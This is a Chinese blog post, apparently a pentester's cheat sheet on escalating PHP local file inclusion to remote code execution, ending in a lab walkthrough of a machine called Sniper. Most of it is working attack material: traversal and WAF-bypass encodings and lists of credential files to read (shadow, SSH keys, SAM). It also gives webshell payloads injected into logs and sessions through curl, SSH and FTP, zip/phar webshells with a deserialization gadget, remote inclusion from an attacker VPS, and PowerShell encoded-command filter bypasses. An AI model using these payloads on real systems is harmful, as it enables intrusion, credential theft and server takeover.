LFI 漏洞利用

0x00 决策树与坑

决策树

  • 根据系统判断读什么文件,通常就用第一个固定有的,用不同的形式读
  • 优先思考可以 RCE 的路径来尝试
  • 遇到 waf 进行判断,再决定如何绕过

三条经验(踩过的坑,写在最前面提醒自己)

  • C:/windows/win.ini 读不到 ≠ 没漏洞 —— 大概率是 : 被 WAF / IIS Request Filtering 拦了。换成 /windows/win.ini(无盘符、无冒号)立刻能读。
  • 别用 php://filter 判断”是不是 include” —— file_get_contents() 同样支持它,两者都会返回 base64。要传 ?f=index.php 看返回的是渲染后的页面还是源码原文。
  • ../ 试两次不通就换形式,别换目标 —— 路径形式、编码、分隔符、大小写是四个独立维度,一个维度穷举完再下结论。

0x01 最小化尝试

通常是尝试读取某个文件确认其漏洞存在
通常读取的文件包括
linux中的

/etc/shadow (可能需要 /etc/shadow 配合 /etc/passwd 破解)
/etc/hostname
/etc/passwd

windows 中的

C:\Windows\win.ini  (首选)

C:\Windows\win.ini 为例通常返回为

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
[MCI Extensions.BAK]

对于 C:\Windows\win.ini 有几种形式

C:\Windows\win.ini      (绝对路径)
\Windows\win.ini
../../../windows/win.ini

0x02 目标文件

一般优先考虑可以 RCE 的路径,没招了才来这枚举

  • 伪协议
  • 日志包含
  • session包含
  • 直接读取密钥

2.1 Linux 系统关键文件路径

  • 系统信息
    • /etc/passwd, /etc/shadow, /etc/group
    • /etc/hostname, /etc/issue, /etc/motd, /etc/hosts
    • /proc/self/environ, /proc/self/cmdline, /proc/mounts, /proc/version
  • 配置文件
    • /etc/apache2/apache2.conf, /etc/nginx/nginx.conf
    • /etc/my.cnf, /etc/mysql/my.cnf (MySQL)
    • /etc/crontab, /var/spool/cron/crontabs/<username> (定时任务)
    • /etc/sudoers (需root权限)
  • 凭据与历史
    • /root/.ssh/id_rsa, /root/.ssh/authorized_keys)
    • /root/.bash_history, /root/.mysql_history
  • 日志文件
    • /var/log/apache2/access.log, /var/log/apache2/error.log
    • /var/log/nginx/access.log, `/var/log/nginx/error.log
    • /var/log/auth.log (SSH登录日志), /var/log/vsftpd.log (FTP日志)
    • /var/log/httpd/access_log (RHEL/CentOS)
  • 会话文件
    • `/var/lib/php/sessions/sess_<PHPSESSID>
    • /var/lib/php5/sess_<PHPSESSID> (旧版PHP)

2.2 Windows 系统关键文件路径

  • 系统信息
    • C:\Windows\win.ini, C:\boot.ini (旧版)
    • C:\Windows\System32\drivers\etc\hosts
  • 配置文件
    • C:\Windows\System32\inetsrv\MetaBase.xml (IIS 6)
    • C:\Windows\System32\inetsrv\config\applicationHost.config (IIS 7+)
    • C:\Windows\php.ini, `C:\xampp\apache\bin\php.ini
    • C:\Program Files\MySQL\my.ini, C:\Windows\my.ini
  • 凭据与敏感信息
    • C:\Windows\repair\sam, C:\Windows\System32\config\SAM)
    • C:\Users\<username>\NTUSER.DAT
    • C:\Windows\Panther\Unattended.xml (可能含安装密码)
  • 应用源码与配置
    • C:\inetpub\wwwroot\web.config
    • C:\inetpub\wwwroot\global.asa
  • 日志文件
    • C:\xampp\apache\logs\access.log, error.log
    • C:\Program Files\Apache Group\Apache\logs\access.log
    • C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log (IIS日志)
    • C:\Windows\debug\NetSetup.log (网络安装日志)
  • 会话文件
    • C:\Windows\Temp\sess_<PHPSESSID>C:\xampp\tmp\sess_<PHPSESSID>

0x03 选择不同的路径形式

C:\windows\win.ini 为例

3.1 实战决策

做下面几次尝试

1. /windows/win.ini                   ← 根路径,无冒号无穿越,最优
2. C:/windows/win.ini                 ← 绝对路径,简单直接
3. C%3a/windows/win.ini               ← 编码冒号
4. ..%5c..%5c..%5cwindows%5cwin.ini   ← 相对穿越
5. //127.0.0.1/c$/windows/win.ini     ← UNC
6. php://filter/convert.base64-encode/resource=C:/windows/win.ini

3.2 完全限定绝对路径

C:\Windows\win.ini
C:/Windows/win.ini

可能被 waf 检测,实战常用编码绕过

C%3a/Windows/win.ini

3.3 根路径

\Windows\win.ini
/Windows/win.ini
%5cWindows%5cwin.ini

通常在 c 盘下

3.4 相对路径穿越

..\..\..\..\Windows\win.ini
../../../../Windows/win.ini
..%5c..%5c..%5c..%5cWindows%5cwin.ini
  • 优点是可以突破“应用拼接了前缀目录”的场景
  • 例如代码是 include("templates/" . $lang),就用 ../../ 逃出去

3.5 UNC 路径

\\server\share\file形式

\\127.0.0.1\c$\Windows\win.ini
\\localhost\c$\Windows\win.ini
//127.0.0.1/c$/Windows/win.ini
%5c%5c127.0.0.1%5cc$%5cWindows%5cwin.ini

完全绕过路径检测

3.6 伪协议 (php环境)

php://filter/convert.base64-encode/resource=C:/Windows/win.ini
php://filter/convert.base64-encode/resource=/Windows/win.ini
php://filter/convert.base64-encode/resource=index.php

可以用于读取源码,需要 php 启用设置

3.7 file:// 协议

file://C:/Windows/win.ini
file:///C:/Windows/win.ini
file:///Windows/win.ini

0x04 伪协议利用 (php 环境)

协议用途依赖
php://filter读源码、编码绕过
php://input执行 POST 里的 PHP 代码allow_url_include=On
data://执行 URL 里的 PHP 代码allow_url_include=On
http:// / https://远程文件包含allow_url_include=On
zip://包含上传的 zip 内文件能上传
phar://包含 phar 内文件 + 反序列化能上传
file://读本地文件(默认允许)通常可用
expect://直接 RCEexpect 扩展(少见)

4.1 php://filter—— 最重要

因为设置默认可用

基本语法

php://filter/<过滤器链>/resource=<目标文件>

php://filter/read=<过滤器>/resource=<目标>
php://filter/write=<过滤器>/resource=<目标>

最常用 base64 编码读取源码

?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=index.php

4.2 php://input —— 执行 POST 代码

4.2.1 条件

  • allow_url_include = On
  • PHP 5.x / 7.x 常见配置

4.2.2 请求

POST /vuln.php?file=php://input HTTP/1.1
Host: target
Content-Type: text/plain
Content-Length: 20

<?php echo "POC_123";?>

响应中出现 POC_123 即可确认代码执行,可以执行 php 反弹 shell

4.3 data:// —— URL 里直接写代码

4.3.1 条件

  • allow_url_include = On

4.3.2 语法

data://text/plain,<数据>
data://text/plain;base64,<base64数据>

4.3.3 示例

?file=data://text/plain,<?php echo "POC_123";?>
?file=data://text/plain;base64,PD9waHAgZWNobyAiUE9DXzEyMyI7Pz4=

4.4 http:// / https:// —— 远程文件包含(RFI)

4.4.1 条件

  • allow_url_include = On
  • 目标能出网到你的 VPS

4.4.2 步骤

VPS 上放 poc.txt

<?php echo "POC_123";?>

请求:

?file=http://VPS_IP/poc.txt
?file=https://VPS_IP/poc.txt

4.5 zip:// —— 包含上传的 zip

4.5.1 条件

  • 能上传 zip 文件
  • 知道上传后的路径

4.5.2 步骤

本地打包:

echo '<?php system($_GET["cmd"]);?>' > shell.php
zip poc.zip shell.php

上传 poc.zip,得到路径:

/uploads/poc.zip

请求:

?file=zip://./uploads/poc.zip%23shell.php
?file=zip://C:/xampp/htdocs/uploads/poc.zip%23shell.php

注意

  • # 必须写成 %23
  • zip:// 后面跟 zip 文件的路径
  • # 后面跟 zip 内的文件名

4.5.3 绕过后缀检查

如果上传只允许 .jpg

zip poc.jpg shell.php

或把 shell 命名为 shell.jpg,zip 内文件名不重要,包含时用 #shell.jpg

4.6 phar:// —— 包含 phar + 反序列化

4.6.1 条件

  • 能上传文件
  • PHP >= 5.3

4.6.2 基本用法

?file=phar://./uploads/poc.phar/shell.php
?file=phar://./uploads/poc.jpg/shell.php

phar 文件本质是特殊格式的压缩包,扩展名可以是 .phar.jpg.txt

4.6.3 反序列化(重要)

phar:// 在解析时会触发 phar 元数据的反序列化,即使代码里只是 file_exists($file) 也可能触发。

构造 phar


<?php
class Evil {
    public function __destruct() {
        system($_GET['cmd']);
    }
}
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
?>

上传后,只要目标有:

file_exists($_GET['file']);

就能触发反序列化。

4.6.4 绕扩展名


phar://./uploads/poc.jpg/test.txt
phar://./uploads/poc.gif/test.txt
phar://./uploads/poc.txt/test.txt

phar 只认内容,不认扩展名。

0x05 日志包含

日志包含是 LFI 升级到 RCE 最经典、最稳定的路径。核心思路:把 PHP 代码写进日志文件,再用 LFI 包含这个日志文件,日志里的 PHP 代码就被执行了。

5.1 Apache 日志

5.1.1 默认路径

linux

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log        (RHEL/CentOS)
/var/log/httpd/error_log
/var/log/apache/access.log
/usr/local/apache/logs/access_log
/usr/local/apache2/logs/access_log
/opt/lampp/logs/access_log       (XAMPP)

windows

C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log
C:\wamp\logs\access.log
C:\wamp64\logs\access.log

5.1.2 日志格式

Apache 默认 combined 格式:

127.0.0.1 - - [10/Oct/2024:12:34:56 +0000] "GET /index.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..."

哪些字段可控

字段是否可控说明
客户端 IP否(除非伪造 XFF)
时间
请求行(URL)GET /<payload> HTTP/1.1
状态码
UA最容易注入
Referer也容易注入

5.1.3 注入方式

方式 1:User-Agent

curl -A "<?php system(\$_GET['cmd']);?>" http://target/

或 Burp 里改 UA:

User-Agent: <?php system($_GET['cmd']);?>

方式 2:URL 路径

curl "http://target/<?php system(\$_GET['cmd']);?>"

注意 URL 里的 <?php ...?> 需要 URL 编码:

/%3C%3Fphp%20system(%24_GET%5B%27cmd%27%5D)%3B%3F%3E

方式 3:Referer

Referer: <?php system($_GET['cmd']);?>

方式4:用户名密码注入
一些登入数据也同样会被记入到日志中

5.1.4 常见坑

  • 日志文件不存在:路径猜错,读 /etc/apache2/apache2.confCustomLog 配置
  • 日志文件不可读:权限问题,Apache 日志通常只有 root 和 adm 组可读,PHP 进程用户可能读不到
  • 日志被截断:默认日志行很长,<?php 可能在响应里被截断
  • WAF 拦 UA:payload 里含 <?php,WAF 可能拦,用编码绕

5.1.5 绕过 WAF 拦 UA

User-Agent: <?php system($_GET['cmd']);?>
User-Agent: <?PHP system($_GET['cmd']);?>
User-Agent: <?php system($_GET[cmd]);?>     (去掉引号)
User-Agent: <?=`$_GET[cmd]`;?>              (反引号执行)
User-Agent: <?php echo `$_GET[cmd]`;?>

或分片注入:


User-Agent: <?php
X-Forwarded-For: system($_GET['cmd']);

日志里可能拼成一行,也可能分行,看服务器配置。


5.2 Nginx 日志

5.2.1 默认路径

/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/nginx/logs/access.log
/var/log/nginx/access_log

Windows:

C:\nginx\logs\access.log
C:\nginx\logs\error.log

5.2.2 注入方式

Nginx 日志格式和 Apache 类似,UA、Referer、URL 都可注入。

注意:Nginx 默认只记录请求行、UA、Referer。如果配置了 log_format,可注入字段可能不同。

5.2.3 Nginx + PHP-FPM 的坑

Nginx 本身不解析 PHP,PHP-FPM 解析。日志包含时:

  • access.log 里的 PHP 代码会被 PHP-FPM 执行
  • 但 Nginx 日志的路径要在 open_basedir 允许范围内

5.2.4 路径获取

读 Nginx 配置:

?file=/etc/nginx/nginx.conf
?file=/etc/nginx/sites-enabled/default
?file=/etc/nginx/conf.d/default.conf
?file=/usr/local/nginx/conf/nginx.conf

搜索 access_log



5.3 其他日志

5.3.1 SSH 日志

/var/log/auth.log          (Debian/Ubuntu)
/var/log/secure            (RHEL/CentOS)
/var/log/sshd.log

注入:用 SSH 连接,用户名里带 payload:

ssh '<?php system($_GET["cmd"]);?>'@target

SSH 日志会记录:

Failed password for invalid user <?php system($_GET["cmd"]);?> from ...

但注意:SSH 日志里的用户名可能被过滤特殊字符。

5.3.2 FTP 日志

/var/log/vsftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/ftp.log

注入:FTP 登录,用户名带 payload。

ftp
open target
user '<?php system($_GET["cmd"]);?>' anything

5.3.3 Mail 日志

/var/log/mail.log
/var/log/maillog

注入:发邮件,收件人/主题带 payload。

5.3.4 MySQL 日志

/var/log/mysql/error.log
/var/log/mysql/query.log
/var/lib/mysql/mysql.log

注入:如果能连 MySQL,执行查询:

SELECT '<?php system($_GET["cmd"]);?>';

日志会记录这条查询。

5.3.5 PHP 错误日志

/var/log/php_errors.log
/var/log/php/error.log
C:\xampp\php\logs\php_error_log

注入:触发一个 PHP 错误,错误信息里带 payload。比如:

?file=<?php system($_GET['cmd']);?>

如果应用把 $file 的值写进错误信息:

PHP Warning: include(<?php system($_GET['cmd']);?>): failed to open stream

错误日志里就有 payload 了。



5.4 日志包含速查表

服务Linux 路径Windows 路径
Apache/var/log/apache2/access.logC:\xampp\apache\logs\access.log
Nginx/var/log/nginx/access.logC:\nginx\logs\access.log
IISC:\inetpub\logs\LogFiles\W3SVC1\u_exYYMMDD.log
SSH/var/log/auth.log
FTP/var/log/vsftpd.log
Mail/var/log/mail.log
MySQL/var/log/mysql/error.logC:\xampp\mysql\data\mysql_error.log
PHP/var/log/php_errors.logC:\xampp\php\logs\php_error_log

0x06 Session 包含

Session 包含是日志包含的“近亲”,但更可控。核心思路:把 PHP 代码写进 session 文件,再用 LFI 包含 session 文件执行代码。

比日志包含的优势:内容可控、路径可预测、不依赖日志写入权限


6.1 原理

1. 应用把用户输入存进 $_SESSION
2. PHP 把 session 数据序列化后写进 sess_<PHPSESSID> 文件
3. 你用 LFI 包含这个 session 文件
4. PHP 把 session 文件当源码解析,里面的 payload 被执行

关键点:session 文件的内容格式是 key|序列化值,你的 payload 会被包在中间,但只要 <?php ... ?> 完整出现,就能执行。


6.2 Session 文件路径

6.2.1 Linux

/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php5/sess_<PHPSESSID>
/var/lib/php7/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
/var/tmp/sess_<PHPSESSID>
/opt/lampp/temp/sess_<PHPSESSID>

6.2.2 Windows

C:\Windows\Temp\sess_<PHPSESSID>
C:\xampp\tmp\sess_<PHPSESSID>
C:\wamp\tmp\sess_<PHPSESSID>
C:\wamp64\tmp\sess_<PHPSESSID>

6.2.3 如何确定路径

方法 1:读 php.ini

?file=/etc/php/7.4/apache2/php.ini
?file=/etc/php.ini
?file=C:/xampp/php/php.ini

搜索 session.save_path

方法 2:用 phpinfo()

如果目标有 phpinfo 页面,直接看 session.save_path

方法 3:用 php://filter 读 php.ini

?file=php://filter/convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini

方法 4:常见默认值

Linux:   /var/lib/php/sessions  (Debian/Ubuntu)
         /var/lib/php/session   (CentOS/RHEL)
         /tmp                   (默认,很多系统)
Windows: C:\Windows\Temp
         C:\xampp\tmp

6.3 Session 文件内容格式

PHP 默认 session 序列化格式:

key1|s:5:"value";key2|i:123;

举例:如果 $_SESSION['username'] = 'admin'

username|s:5:"admin";

如果你能把 <?php system($_GET['cmd']);?> 存进 session:

username|s:30:"<?php system($_GET['cmd']);?>";

包含时,PHP 看到:

username|s:30:"<?php system($_GET['cmd']);?>";

PHP 会解析 <?php ... ?> 部分并执行。


6.4 绕过技巧

大部分技巧同 LFI 漏洞利用#0x07 绕过

6.4.1 黑名单绕过

一次遇到

allow <> ? ' 
deny $ _ ( ) ; [ ] - :

可用采用

<?=`powershell /enc [base64-command]`?>

来绕过,其中[base64-command] 替换成命令
注意 base64 需要 UTF-16LF 格式 而 kali 中的 base64 默认 UTF-8
原本使用 -EncodedCommand 虽然 %2D 绕过 - 过滤 但 流程中不对其解码,导致无法执行。

0x07 绕过

7.1 编码绕过

要注意,经过编码后能否继续执行,有可能编码后,服务端没有进行解码,导致无法运行

目标字符一层双层UTF-8IIS %u
.%2e%252e%c0%ae%u002e
/%2f / %2F%252f%c0%af%u002f
\%5c%255c%c1%9c%u005c
:%3a%253a%u003a
#%23%2523%u0023
?%3f%253f%u003f
%%25%u0025

7.2 大小写绕过(关键字拦截)

例如

Windows       →  WINDOWS  WiNdOwS  wInDoWs
php://filter  →  PHP://FILTER  PhP://FiLtEr
System32      →  SYSTEM32  SyStEm32
%2f  vs  %2F
%5c  vs  %5C
%3a  vs  %3A
%00  vs  %0  (不同,%0 非法)

7.3 路径穿越匹配删除绕过

过滤规则绕过方法
删除 ../....//..././
删除 ..\....\\..%5c
删除 ..%2e%2e%c0%ae%c0%ae
删除 /%2f%5c(Windows)
删除 \%5c/(Windows)
正则匹配 \.\./..%2f%2e%2e%2f
只允许字母数字php://filter 或 UNC
检查 realpathphp://filter 或符号链接
限制在某个目录穿越出去,或 php://filter 绕前缀

7.4 截断绕过

用于绕过那些拼接后缀的代码
%00 可以阻止拼接上后缀
例如

  ../../etc/passwd%00   +  .php   (原本)
  ../../etc/passwd                 (实际)

只存在于PHP 版本 < 5.3.4 / < 5.2.14

7.5 Windows 分隔符替换

分隔符原文URL 编码
正斜杠/%2f%2F
反斜杠\%5c%5C

url 需要使用编码形式


7.6 字符黑名单:用 PHP 语法消掉被拦字符

实战场景:靶机把 $ _ ( ) ; [ ] 全拦了,system($_GET['cmd']) 直接废掉。
这时候要做的不是”换个编码”,而是换语法 ——
用 PHP 的语言特性把被拦字符从 payload 里彻底消掉。

7.6.1 思路

原本 payload 特征过于明显,大量$ _ ( ) ; [ ] 符号

<?php system($_GET['cmd']);?>

将其替换成

<?=`id`?> 

进行尝试

7.6.2 两条关键语言特性

<?= 就是 <?php echo 的缩写

<?=`id`?>          等价于          <?php echo `id`;?>

② 反引号 ` cmd shell_exec` 的运算符形式

<?php `whoami` ?>

7.6.3 首选 payload

<?=`whoami`?>

windows 中需要调用 powershell 运行

<?=`powershell whoami`?>

后续利用可用使用 base64 编码来绕过这些限制

<?=`powershell -encodedCommand [base64]`?>

如果 - 被栏可以使用

<?=`powershell /enc [base64]`?>

这里要求 powerhsell 为特定版本 7.0.0 至 7.2.0-preview.5
注意 powershell 中的 base64 编码是 UTF-16LE 格式

echo -n 'whoami' | iconv -t UTF-16LE | base64 -w0

0x08 实战练习

8.1 Sniper 靶机

8.1.1 最小化确认

先是再博客页面有一个参数 lang 指向 php 文件
说明是 php 环境,有 LFI 的概率和 伪协议利用的概率很高
先进行了几次尝试

 C:/windows/win.ini 
 C%3a/windows/win.ini 
 ../../../../windows/win.ini

都不行于是认定没有漏洞
但实际上

//127.0.0.1/c$/windows/win.ini
/windows/win.ini 

可用,错过机会

8.1.2 利用尝试

尝试伪协议失败 猜测可能是 : 被过滤,遂放弃
但是 session 包含可用
包含点为 使用 session 注册或登入之后的用户名

/var/lib/php/sessions/sess_<PHPSESSID>

可查看到用户名,考虑通过用户名注入
先尝试了

<?php system(\$_GET['cmd']);?>

失败,可虑可能是某些字符被过滤
经过测试,规则如下

allow <> ? '

deny $ _ ( ) ; [ ]

到此处束手无策,寻求帮助后得到

<?=`powershell whoami`?>

等价命令,后续思考 reverse shell 因为过滤规则也束手无策
ai 提示,使用

powershell -EncodedCommand <base64>

命令绕过检测,但发现 - 也被过滤
尝试编码绕过
使用 %2D 替代 - 后 成功绕过,但命令似乎没有执行,经过排查 ai
base64 命令默认使用 UTF-8 来编码
-EncodedCommand 需要 UTF-16LE来编码
需要用这个命令

echo -n 'ping -4 10.10.16.20' | iconv -t UTF-16LE | base64 -w0

在尝试之后,还是不行,发现是 %2D 没有被解码,而是被原样存储了
更换成 /enc 替代 -EncodedCommand

<?=`powershell /enc dwBoAG8AYQBtAGkA`?>
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇